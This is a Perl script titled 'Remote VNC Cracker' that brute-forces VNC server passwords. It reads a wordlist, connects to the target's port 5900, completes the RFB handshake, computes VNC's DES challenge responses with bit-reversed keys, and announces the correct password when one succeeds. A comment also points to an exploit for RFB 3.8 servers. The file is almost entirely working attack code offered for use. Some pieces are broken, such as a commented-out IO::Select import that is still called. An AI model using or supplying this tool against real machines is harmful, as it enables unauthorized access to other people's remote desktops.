#!/usr/bin/perl -w

#Remote VNC Cracker by Sha0@BadCheckSum.net   Version 0.1
#Future versions this will be faster.

#To install cpan modules:
#perl -MCPAN -e shell
#cpan> install IO::Socket
#cpan> install Crypt::DES
#cpan> install Crypt::CBC

use IO::Socket;
#use IO::Select;
use Crypt::DES;
use Crypt::CBC;

die "usage: $0 <ip> <wordlist>\n" if (@ARGV!=2);

my %vncauth=(
	ok=>"\x00\x00\x00\x00",
	failed=>"\x00\x00\x00\x01",
	toomany=>"\x00\x00\x00\x02"
);

my %vncauthmode=(
	blacklisted=>"\x00\x00",
	nullpass=>"\x00\x01",
	vncauth=>"\x01\x02",
	mode2=>"\x2d\x31",
	mode=>"\x02",
	oldversionbanned=>"\x00\x00\x00\x00\x00\x00\x00"
);


my $sock;
my $timeout=1; #1 second per byte (Recv can be optimized to be faster)

&brute($ARGV[0]);

sub brute {
	local $buff;
	local $challenge;
	local $cipher;
	local $key;

	open F,$ARGV[1];
	while (<F>) {

        $sock=IO::Socket::INET->new (
                PeerAddr=>$_[0],
                PeerPort=>5900,
                Timeout=>20
        ) or die "cannot connect $!\n";

	chomp;
	$key=$_;
	print "testing $key \n";

	#ident
	$sock->recv($buff,12);
	#print "Is not necessary to crack, you can use the exploit for this version (see badchecksum.net)\n" if ($buff=~/^RFB 003\.008/);
	$sock->send($buff);

	#modes
	$buff=&Recv($sock,5);
	if (length($buff) == 2) {
		die "no pass needed\n" if ($buff eq $vncauthmode{nullpass});
		die "Blacklisted\n" if ($buff eq $vncauthmode{blacklisted});
		print "extrange :?\n" if ($buff ne $vncauthmode{vncauth});
		$sock->send($vncauthmode{mode});
	
		#16 bytes challenge
		$challenge = &Recv($sock,5);
	} else {
		#4 bytes mode + 16 bytes challenge
		die "banned!\n" if (substr($buff,0,7) eq $vncauthmode{oldversionbanned});
		$challenge = substr($buff,length($buff)-16,16);
	}

	#Mirror and pad key
	$key=substr($key,0,8) if (length($key)>8);
	$key .= pack( 'C', 0 ) until ( length($key) % 8 ) == 0;
	local $realkey="";
        foreach my $byte ( split //, $key ) {
            $realkey .= pack( 'b8', scalar reverse unpack( 'b8', $byte ) );
        }

	#16 bytes response
	$cipher = Crypt::DES->new($realkey);
	local $response;
        local $i = 0;
        while ( $i < 16 ) {
            my $word = substr( $challenge, $i, 8 );
            $response .= $cipher->encrypt($word);
            $i += 8;
        }
	$sock->send($response);

	
	#Result
	$sock->recv($buff,4);
	print "wrong key\n" if ($buff eq $vncauth{failed});
	die "too many failures\n" if ($buff eq $vncauth{toomany});
	die "Is The password!!\n" if ($buff eq $vncauth{ok});
	#&muestra($buff);
	close($sock);

	}
	close F;
	print "mala suerte\n";
}

sub padd {
	local $key=$_[0];
	local $i;
	for ($i=length($key);$i<8;$i++) {
		$key.="\x00";		
	}
	return $key;
}

sub mirror {
	local $key=$_[0];
	local $key2="";
	local @spl=split(//,$key);
	local $i;
	for ($i=$#spl;$i>=0;$i--) {
		$key2.=$spl[$i];
	}

	return $key2;
}

sub Recv {
        my ($sock,$timeout) = @_;
        my $selector = IO::Select->new($sock);
        my $data;

        my $ready = $selector->can_read($timeout);
        return -1 if (!$ready);

        while(1) {
                my $ready = $selector->can_read($timeout);
                last if(!$ready);
                $sock->recv($tempData,4096);
                last if(!length($tempData));
                $data .= $tempData;
        }

        return($data);
}

sub muestra {
        my $data = $_[0];
        my @bytes = split(//,$data);
        my $b;

        foreach $b (@bytes) {
                printf "0x%x ",ord($b);
        }
        print "\n\n";
}
